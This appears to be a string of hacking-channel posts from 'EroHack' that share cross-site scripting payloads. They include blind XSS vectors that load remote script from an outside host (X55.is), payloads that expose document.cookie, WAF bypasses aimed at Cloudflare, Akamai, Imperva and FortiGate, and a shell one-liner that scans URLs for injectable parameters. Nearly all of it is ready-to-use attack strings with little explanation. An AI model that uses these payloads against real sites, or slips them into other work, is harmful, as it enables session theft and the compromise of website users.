🤖Here's another Blind XSS vector!

1"/import(src)'<Script/Src=//X55.is?1=00><Img/OnLoad='

🫦Where 00 is your unique KNOXSS id.
➡️If it fails with <Script it might pop with <Img in a multi reflection scenario!

#XSS
➖➖➖➖➖➖➖➖➖➖
🔈 @EroHack
➕ Boost

Payload:

"%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

#XSS
➖➖➖➖➖➖➖➖➖➖
🌐@EroHack
✅Boost

👺xss oneliner command

echo "testphp.vulnweb.com" | waybackurls | egrep -iv ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|icon|pdf|svg|txt|js)" | urldedupe -s | grep -IE "[?].*[&]?" | grep "=" | unew -p | pvreplace '<sCript>confirm(1)</sCript>, <script>confirm(1)</script>' | xsschecker -match '<sCript>confirm(1)</sCript>, <script>confirm(1)</script>' -vuln

⬇️ Download ( Tools )
🔒 BugCod3 ( ZIP )

#XSS #BugBounty
➖➖➖➖➖➖➖➖➖➖
🌐@EroHack
➡️Boost

☠️Parameter: invitedby=

Payload=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Full_url= https://site. com/?invitedby=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

#XSS #BugBounty
➖➖➖➖➖➖➖➖➖➖
❤️@EroHack
✔️Boost

🟫 WAF Fortinet FortiGate XSS Bypass

🖥Payload

<details open ontoggle="(()=>alertibrahimxss)()"></details>

#XSS #WAF #Payload
🔹🔺🔹🔺🔹🔺🔹🔺🔹
⭐Erohack
💧Boost
🐦Twitter

🙂One XSS Payload for bypass ( Akamai, imperva, cloudflare & Waf ) 🚪

HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>

#Xss #Payload #Waf
⚙⚙⚙⚙⚙⚙⚙⚙⚙
🌐EroHack
👍Boost
🖥Twitter

⚠️XSS Bypass Akamai, Imperva and CloudFlare

☠️Payload

<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>

#XSS #Payload
🔹🔺🔹🔺🔹🔺🔹🔺🔹
⭐Erohack
💧Boost
🐦Twitter

😀XSS in Office.com. The + made a difference.

Payload:‍‍‍

`'>+<script>alert()</script>`

#BugBounty #Tips #XSS
⚙⚙⚙⚙⚙⚙⚙⚙⚙
🌐EroHack
👍Boost
🖥Twitter

🔥CLOUDFLARE BYPASS (Xss)

🖥PAYLOAD:

<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>

#Bypass #Xss #cloudflare
✍️✍️✍️✍️✍️✍️✍️✍️✍️✍️
🔝EroHack
💜Boost
🖥Twitter